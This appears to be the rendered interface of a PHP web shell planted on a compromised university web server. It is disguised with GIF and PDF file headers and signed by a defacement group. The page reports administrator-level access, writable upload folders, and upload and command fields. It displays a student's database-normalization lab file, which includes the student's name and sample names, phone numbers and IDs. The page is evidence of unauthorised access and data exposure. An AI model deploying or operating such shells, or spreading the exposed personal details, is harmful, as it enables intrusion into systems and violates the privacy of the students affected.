GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20255/CST1600/41/16607463/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20255/CST1600/41/16607463/Lab07/CST1600_BrendenGustafson_Lab07.txt
UNF:
student(Name, HomeMobilePhoneNumbers, StudentID, MajorCode1, MajorCode2, MajorCode3)


Name	        HomeMobilePhoneNumbers	        StudentID    	MajorCode1	MajorCode2	MajorCode3
Avram Hinton	103-391-7811;676-683-6301	34673656	NSA	        CSS	        CST
Hayes Gibson	447-149-5334	                83681840        CST		
Kristen Acosta  972-658-1570	                94086534        CP	        MAD	


1NF:
Violation: The table violates 1NF because:

HomeMobilePhoneNumbers contains multiple values (home and mobile phone numbers) in one field, violating atomicity.
MajorCode1, MajorCode2, and MajorCode3 contain multiple values for a single student, violating atomicity.

Fix:
Separate HomeMobilePhoneNumbers into two distinct phone number fields.

Create separate records for each major in a student_major table to handle multiple majors for a student.

Tables after 1NF:

student(StudentID*, Name)
student_phone(StudentID@, PhoneNumber^)
student_major(StudentID@, MajorCode@)


2NF:
Violation: There are no partial dependencies, as all non-key attributes depend on the full primary key in the new tables.

Fix: 
All tables have been normalized to 2NF.

Tables after 2NF:

student(StudentID*, Name)
student_phone(StudentID@, PhoneNumber^)
student_major(StudentID@, MajorCode@)


3NF:
Violation: No tables violate 3NF.

Reason: There are no transitive dependencies. Each non-key attribute is dependent only on the primary key, and no attributes are dependent on other non-key attributes.

Fix: 
All tables have been normalized to 3NF.

Tables after 3NF:

student(StudentID*, Name)
student_phone(StudentID@, PhoneNumber^)
major(MajorCode*^)
student_major(StudentID@, MajorCode@)


student:
StudentID* | Name  
123456     | John Doe  
789012     | Jane Smith  
345678     | Emily Johnson  

student_phone:
StudentID@ | PhoneNumber^  
123456     | 7185551234  
123456     | 9175554321  
789012     | 6465557890  

student_major:
StudentID@ | MajorCode@  
123456     | CST  
789012     | MAD  
345678     | CST

Anon7 - 2022
AnonSec Team